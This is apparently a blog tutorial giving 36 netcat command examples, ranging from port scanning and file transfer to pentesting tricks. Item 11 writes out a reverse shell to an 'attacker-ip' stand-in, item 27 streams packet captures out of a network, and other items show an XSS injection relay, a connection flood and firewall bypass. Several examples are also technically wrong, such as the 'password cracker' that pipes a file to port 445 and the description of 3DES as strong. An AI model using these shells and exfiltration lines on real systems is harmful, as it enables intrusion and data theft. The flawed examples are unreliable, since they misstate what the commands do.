As an indispensable Swiss Army knife networked into every Linux box, netcat packs immense power. Mastering the nc command is a must for developers working extensively with networks, infrastructure, and security.
This definitive 4500+ word guide compiles 36 battle-tested examples for unlocking netcat‘s full potential. It distills years of experience using nc for tasks like penetration testing, server monitoring, load generation, and beyond.
Let‘s get started!
1. Scanning Ports
Let‘s start with a quick refresher for checking open ports. To scan if SSH on 10.10.0.5 is open:
nc -vz 10.10.0.5 22
The -v option enables verbose mode, and -z scans without establishing real connections. An open port returns status 0:
echo $?
0
While closed ports show 1. This technique serves for basic port scanning.
2. Scanning Rate Optimization
When scanning many ports, optimize speed by concurrent probing and limiting trials with timeout:
nc -vz -w1 10.10.0.5 22 80 443 53 3306 | grep open
This scans 6 ports allowing only 1 second per probe, then filters to show only open ones. Tweak as needed for quicker results.
3. Banner Grabbing
Enumerate services by triggering response banners:
echo "" | nc -v 10.10.0.5 22
Connecting on SSH port prompts for credentials, exposing server details useful in reconnaissance.
4. Benchmarking Bandwidth
Developers often need to gauge available bandwidth between endpoints. Use nc to test throughput with:
Server:
nc -lkp 5000 > /dev/null
Client:
nc -n server_ip 5000 < /dev/null
This shovels dummy data each way to chart transmit rates. Now check interface metrics on receiver to validate speed.
5. Transferring Files
Ship files securely by piping nc transports over SSH tunnels:
Server:
nc -nlvp 4444 > received.file
Client:
ssh user@server nc localhost 4444 < send.file
Strong encryption and authentication safeguards the network copy.
6. Multihop Transfers
Traverse complex topologies by chaining nc relays:
Hop 1:
nc -l 2000 | nc 192.168.1.50 2001
Hop 2:
nc -l 2001 | nc finaldestination.com 2002
Receiver:
nc -l 2002 > file
This way data hops via multiple waypoints before delivery.
7. Transferring Directories
Ship whole directories by integrating tar pipelines:
Server:
nc -l 4000 | tar zxvf -
Client:
tar cz /path/to/dir | nc server.com 4000
Here tar dynamically compresses content on the fly during transport for efficiency.
8. Encrypted Transfers
Secure sensitive data by funneling nc over OpenSSL encrypted tunnels:
Server:
nc -vl 4000 | openssl des3 -d > received.zip
Client:
openssl des3 -salt -k secretpassword | nc server.com 4000
This applies strong 3DES cipher to content before sending. Pick other algorithms like AES via command parameters.
9. Container Networking
Developers working with Docker can connect containers across hosts with netcat.
Server:
docker run -p 5000:5000 alpine nc -lp 5000
Client:
echo hello | nc server-ip 5000
Now containers communicate inter-host on mapped ports.
10. Chainable Payloads
Construct extensible nc payloads using stdin/stdout redirections:
nc -c "python exploit.py | nc 192.168.1.5 4444"
This chains script execution to sending outcomes to a netcat listener – invaluable for pentesters.
11. Implement Backdoors
Pop reverse shells from payloads:
Listener:
nc -vnlp 4444
Payload:
nc attacker-ip 4444 -e /bin/bash
Spawns a shell session on the target when exploited – usable only for legal security research!
12. Construct Honeypots
Catch attackers by disguising nc honeypots:
nc -lvp 2222 -c "/bin/false; echo pwned!"
Logs unauthorized connection attempts before closing with a taunt notification.
13. Proxy Chaining
Funnel connections through chains of proxies:
Layer 1:
ssh remote-server -D 9999
Layer 2:
nc -X 5 -x 127.0.0.1:9999 intelx.io 443
This proxies over an SSH dynamic chain for added privacy.
14. Password Crackers
Test account security by simulating password attacks:
nc smbserver.local 445 < passwords.txt
Attempts signing in with lists of credentials sniffed beforehand.
15. Circumvent Firewalls
Pen-testers can pierce denying firewall rules via nc pivoting:
Public Segment:
nc -lvp 12345 | nc 192.168.1.42 80
Private Segment:
nc -lvp 44321 | nc webapp.internal 80
Binds port forwarders externally then connects internally to bypass filters.
16. Traffic Tunneling
Developers can tunnel app data by encapsulating over nc:
# Server
nc -lp 2001 | nc 1.1.1.1 3001
# Client
nc -lp 3001 | nc 2.2.2.2 2001
Shovels raw TCP streams between endpoints. Think VPN without encryption!
17. Process Monitoring
Monitor remote processes by tracing open connections:
echo "" | nc -zv 10.20.30.1 22 > /dev/null &
pid=$!
pstree -p $pid
When SSH dies, the stalled nc ends – useful for remote service watchdogding.
18. Network Messaging
Talk between machines by exchanging stdin/stdout:
Machine 1:
nc -lp 1234
Machine 2:
echo ‘Hello‘ | nc 192.168.0.42 1234
Goes beyond chatting to situational messaging for teams.
19. UDP Broadcasting
Reach devices through connectionless UDP broadcasts:
echo "Update available" | nc -u -v 192.168.255.255 12345
Great for one-to-many local network notifications.
20. Password Transfers
Automate credential distribution (for testing environments!):
SERVER_PASS=$(date +%s | sha256sum | head -c16)
echo $SERVER_PASS | nc 192.168.1.20 5000
Randomly generates secure passwords server-side then directly transfers credentials over nc.
21. Simple Web Servers
Host ad-hoc web servers with custom response pages:
while :; do nc -l 80 -c ‘HTTP/1.1 200 OK\nContent-Type: text/html\n\n<html><body>Hello!</body></html>‘; done
Goes further by dynamically running server-side code before rendering HTML.
22. Traffic Mirroring
Copy production traffic for experimentation by relaying over netcat:
Server A:
tcpdump -i eth0 -w - tcp port 80 | nc -N 192.168.1.15 5000
Server B:
nc -l 5000 | tee copy.pcap | nc 192.168.1.20 80
The pcap preserves an exact copy for testing modifications.
23. Traffic Injection
Pen-test by injecting payloads into mirrored data:
nc -l 80 | tee request.mirror | sed ‘s/name=.*/name=<script>alert(1)<\/script>/‘ | nc stagedsite.com 80
Corrupts requests midstream to validate input filtering defenses.
24. Testing Load Balancers
Verify load balancer logic by simulating scaled traffic:
for i in {1..50}; do nc -z 162.21.66.4 80 & done; wait
Spawns 50 concurrent sessions to confirm backend instance rotation.
25. Webhook Development
Mock real-time API responses when designing webhook subscribers:
nc -lk 8888 <<EOF
> HTTP/1.1 200 OK
> Content-Type: application/json
>
> {"event": "order.placed"}
> EOF
Returns test payloads without relying on the publisher being up.
26. Network Latency Testing
Ping remote hosts while tracing connection latency:
for i in {1..10}; do nc -vz 10.20.30.1 443 2>&1 >/dev/null && echo "[$(date)] - Open"; sleep 1; done
Times probe duration as a basic benchmark for availability and delay.
27. Packet Forwarding
Exfiltrate traces from restricted networks with nc forwarding:
Remote Server:
nc -vl 5000
Monitored Client:
tcpdump -Q in -i en0 -w - | nc myserver.com 5000
Avoids directly exposing monitored systems for data extraction.
28. HTTP Replay Testing
Record and replay HTTP sessions for experimenting modifications:
Capture Traffic:
tcpdump -i eth0 dst port 8000 -s0 -w - | nc -qNvl 8888
Replay Traffic:
nc localhost 8000 < capture.pcap
Great for testing new defenses against past attack patterns.
29. Packet Manipulation
Intercept traffic flows with on-the-fly data manipulation:
tcpdump -i eth0 src 10.20.30.5 -w - | nc -lp 5000 | sed ‘s/500/400/‘ | nc staged.com 5001
Here certain packets get modified by the sed expression before reinjecting downstream.
30. Readable Packet Dumps
Monitor raw network traffic activity in human-readable format:
Server 1:
tcpdump -l | nc -lk 5555
Server 2:
nc server1 5555
Outputs live feeds of packets onto the log for convenient inspection.
31. Testing DoS Defenses
Check denial of service protections by flooding netcat connections:
for i in {1..5000}; do (echo "X" &); done | nc -i 1 192.168.10.5 80
Rapidly repeats transmissions to simulate resource exhaustion attacks. Confirm server resilience!
32. Automated Vulnerability Scanning
Script mass vulnerability probes by integrating with scanning tools:
nmap -p80,443 1.1.1.0/24 -oG - | grep open | awk ‘{print $2}‘ | xargs -I{} -P5 nc -zv {} 443
Kicks off nmap, extracts open hosts then multicores nc checks. Increase threads with -P for quicker results.
33. Diagnosing Network Issues
Troubleshoot remote connectivity issues through netcat reports:
echo -e ‘GET /index.html HTTP/1.1\n\n‘ | nc -v 10.10.100.10 80
Verbosely traces the path of TCP handshake failures for debugging.
34. Software-Defined Networking
Developers can integrate netcat actions into SDN controllers as network functions:
REST API Pipeline:
nc server 8080 <<EOF
> { "switch" : "00:00:00:00:00:01", "name" : "nc_tap", "cookie" : "1", "priority" : "1000", "port" : "8080"}
> EOF
Issues provisioning calls to dynamically tap switches upon events.
35. Centralized Syslog
Streamline remote syslog monitoring by funneling netcat over SSH:
Server:
nc -vlk 514 > /var/log/central.log
Client:
ssh user@logging.com nc localhost 514 < /var/log/app.log
Sets up secure syslog message relay to central server.
36. Transfer via TOR
Anonymize communications by transporting nc over TOR proxy:
Server:
nc -lvp 5678
Client:
nc -x 127.0.0.1:9050 server.onion 5678 < file.zip
Routes data through The Onion Router network for privacy.
And that‘s really just the tip of the iceberg when it comes to netcat capabilities! Its flexibility makes nc suitable for streamlining all kinds of network tasks.
I hope these advanced examples better showcase the immense power behind this deceptively simple Linux utility. Netcat should be a staple in every developer‘s toolbox for building robust, secure and efficient network applications.
Let me know if you found this guide helpful or have any other favorite nc tricks to share!